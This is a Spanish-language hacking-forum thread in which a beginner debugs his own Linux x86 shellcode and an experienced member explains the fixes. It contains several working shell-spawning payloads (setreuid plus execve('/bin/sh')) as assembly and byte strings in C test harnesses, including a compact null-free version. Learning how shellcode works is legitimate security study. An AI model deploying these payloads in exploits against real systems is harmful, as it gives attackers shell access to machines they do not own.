Autor
|
Tema: Duda con Shellcode (Leído 7,820 veces)
|
10537
Desconectado
Mensajes: 5
|
Hola, ¿Cómo están?
Bueno como pueden ver soy nuevo en el foro, y quería saber si alguien me puede ayudar con una shellcode que estoy haciendo para mi propio conocimiento, he leído ya los manuales de ASM y de Shellcodes, obviamente hay shellcodes de ejemplo que ya he hecho, pero estoy intentando hacer una por cuenta propia para saber si en verdad he entendido los manuales, pero me ha ocurrido un problema, hago mi código en ensamblador, lo compilo y todo bien, lo enlazo, me voy al objdump saco el shellcode, y lo coloco en mi programa en C, pero cuando lo ejecuto me dice:
Shellcode Length: 37 Violación de segmento (`core' generado)
colocare aquí mi código en NASM, creo que el error esta allí, y creo que tiene algo que ver con las direcciones a las cuales estoy enviando los registros, pero de verdad tengo muchas dudas, si alguien me puede ayudar se lo agradecería mucho.
section .data shell: db "/bin/shNAAAABBBB" section .bss
section .text
global _start:
_start: push ebp ;Creo mi stack mov ebp, esp mov eax, eax mov al, 70 ;Llamada a la interrucion 70 setreuid xor ebx, ebx ;lo vuelvo null xor ecx, ecx ;lo vuelvo null int 80h ;llamada al Kernel xor eax, eax ;lo vuelvo null mov ebx, shell ;envio a ebx el valor de shell '/bin/shNAAAABBBB' mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0 mov [ebx+8], ebx ;sustituyo a la AAAA con Null mov [ebx+12], eax ;sustituyo a la BBBB con Null mov al, 11 ;Llamada a la interrucion 11 execve int 80h ;llamada al Kernel
mov esp, ebp ;destruyo el stack pop ebp ret
Esto es Shellcoding para Linux no para Windows pero se que cualquiera se daría cuenta al ver el código NASM, ahora coloco mi codigo en C con la Shellcode:
#include<stdio.h> #include<string.h>
unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xbb\xa8\x90\x04\x08\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89\xec\x5d\xc3";
main(){ printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Compilo mi código en C y lo ejecuto, y me da el error que le dije al principio:
Shellcode Length: 37 Violación de segmento (`core' generado)
Espero alguien me pueda guiar de verdad les agradecería no postear código ya que sentiría como si me hicieran un spoiler xD, si me pueden guiar y explicar sería mejor para mi, muchas gracias a todos.
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Hola
Olvidandome de setreuid, Carga eax en el stack y copia la dirección del mismo a ecx.
Un saludo.
P.D: Ese código esta mal optimizado 37 bytes pfff... yo 19 bytes.
|
|
|
En línea
|
|
|
|
|
10537
Desconectado
Mensajes: 5
|
Bueno he hecho lo que me dijiste en el post anterior, pero me sigue generando la violación del segmento.
Este mi codigo en C.
#include<stdio.h> #include<string.h>
unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31"\ "\xdb\x31\xc9\xcd\x80\x31\xc0\x89\xc4\x8d"\ "\x08\xbb\xac\x90\x04\x08\x88\x43\x07\x89"\ "\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89"\ "\xec\x5d\xc3";
main(){ printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Este es mi código en ASM: section .data shell: db "/bin/shNAAAABBBB" section .bss
section .text
global _start:
_start: push ebp ;Creo mi stack mov ebp, esp mov eax, eax mov al, 70 ;Llamada a la interrucion 70 setreuid xor ebx, ebx ;lo vuelvo null xor ecx, ecx ;lo vuelvo null int 80h ;llamada al Kernel xor eax, eax ;lo vuelvo null mov esp, eax lea ecx, [eax] mov ebx, shell ;envio a ebx el valor de shell '/bin/shNAAAABBBB' mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0 mov [ebx+8], ebx ;sustituyo a la AAAA con Null mov [ebx+12], eax ;sustituyo a la BBBB con Null mov al, 11 ;Llamada a la interrucion 11 execve int 80h ;llamada al Kernel
mov esp, ebp ;destruyo el stack pop ebp ret
Creo que mi código en ASM esta mal de pies a cabeza, y la segunda opción sería que no entendí las recomendaciones de CPU2, de tanto y tanto cabecear seguí otro tutorial, e hice este ejemplo el cual funciona correctamente: Código NASM: section .text
global _start
_start: xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 80h
jmp short ender
starter:
pop ebx xor eax, eax mov [ebx+7 ], al mov [ebx+8 ], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 80h
ender: call starter db '/bin/shNAAAABBBB'
Codigo en C: #include<stdio.h> #include<string.h>
unsigned char code[] = \ "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
main(){ printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Creo que me falta leer mucho más, y pelear también mucho mas con el ASM para poder realizar una Shellcode optimizada y desde cero, si alguien me recomienda algunos tutoriales se los agradecería mucho, bueno la verdad estoy contento porque, poco a poco estoy logrando comprender las Shellcodes.[/size]
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Creo que mi código en ASM esta mal de pies a cabeza, y la segunda opción sería que no entendí las recomendaciones de CPU2
Exacto, me refería a esto: pushl %eax movl %esp, %ecx
Tú código: mov esp, eax lea ecx, [eax]
1: No estas cargando eax en el stack, estas copiando su contenido a esp, estas destruyendo la dirección de esp. 2: Estas copiando el contenido de eax a ecx, el segundo parametro de execve requiere un puntero. Creo que me falta leer mucho más, y pelear también mucho mas con el ASM para poder realizar una Shellcode optimizada y desde cero, si alguien me recomienda algunos tutoriales se los agradecería mucho, bueno la verdad estoy contento porque, poco a poco estoy logrando comprender las Shellcodes.
Puedo hacer eso del "spoiler", tendrás una SC optimizada y si quieres te ayudo a entenderla. Un saludo.
|
|
« Última modificación: 10 Marzo 2013, 02:57 am por cpu2 »
|
En línea
|
|
|
|
10537
Desconectado
Mensajes: 5
|
Puedo hacer eso del "spoiler", tendrás una SC optimizada y si quieres te ayudo a entenderla. Hola de nuevo, bueno si lo mejor será hacer lo del "spoiler", me estoy viendo un vídeo en youtube de securitytube donde explican la Shellcode stack method, y tienes razón cpu2 entendí mal tu recomendación y estaba haciendo todo mal, si puedes hacer lo del "spoiler" ya que me quieres ayudar a entender las Shellcodes, de verdad estoy muy agradecido contigo, esperare tu post, Saludos!!!
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Esta sería la de 19 bytes. .section .text .globl _start _start: push $0x68732f6e push $0x69622f2f mov %esp, %ebx push %eax mov %esp, %ecx add $0x0b, %al int $0x80
La línea 6 y 7: Cargan la dirección en el stack, si traduces los valores en hex veras que es //bin/sh. Línea 8: Copia la dirección al primer argumento ebx, la dirección que mueves apunta a //bi, al segundo push, lee todo hasta que se "tope" con un cero que como tendrías que saber significa fin de la cadena. Línea 9: Al valer eax cero, carga un NULL en el stack. La 10 como la 8, pero ojo el segundo argumento no es como el primero hace otra cosa, pero no viene al caso, si quieres lo explico. Las restantes no creo que hagan falta explicarlas. Esas dos barras absolutas no me gustan, aunque pese más para mí esta mejor este. .section .text .globl _start _start: push $0xff978cd0 notl (%esp) push $0x6e69622f mov %esp, %ebx push %eax mov %esp, %ecx add $0x0b, %al int $0x80
Cargas /sh0 pero en negativo, ese not de la línea 7 vuelve positiva la dirección ala que esta apuntando esp, en este caso el primer push y lo deja /sh0, este metodo se utiliza para no dejar bytes núlos. push $0x68732f ; 68 2f 73 68 00
Un saludo.
|
|
« Última modificación: 12 Marzo 2013, 19:31 pm por cpu2 »
|
En línea
|
|
|
|
10537
Desconectado
Mensajes: 5
|
Hola, ¿Qué tal?, gracias por todo CPU2, ya estoy entendiéndolo mejor =), por cierto me dejaste con la curiosidad de la linea 10. La 10 como la 8, pero ojo el segundo argumento no es como el primero hace otra cosa, pero no viene al caso, si quieres lo explico. También tengo una duda en el segundo fuente de porque agregas a al la dirección 0x0b, la pregunta sería, ¿Porqué se debe hacer así? Muchas gracias por tu ayuda, de verdad!!!
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
por cierto me dejaste con la curiosidad de la linea 10.
El segundo argumento, te permite construir una cadena y esa misma sera el nombre del proceso. También tengo una duda en el segundo fuente de porque agregas a al la dirección 0x0b Estoy sumando 11 al registro al, pero esta en hexadecimal. ¿Porqué se debe hacer así?
Puedes hacerlo como quieras, es lo bueno de ASM. or $0x0b, %al xor $0x0b, %al sub $0xc, %al notb %al push $0x0b pop %rax mov $0x0b, %al add $0x0b, %al
Son más eficientes el mov y el add. Los tres primeros solo funcionan si al vale cero, son ejemplos no hagas cosas así. Un saludo.
|
|
|
En línea
|
|
|
|
|
|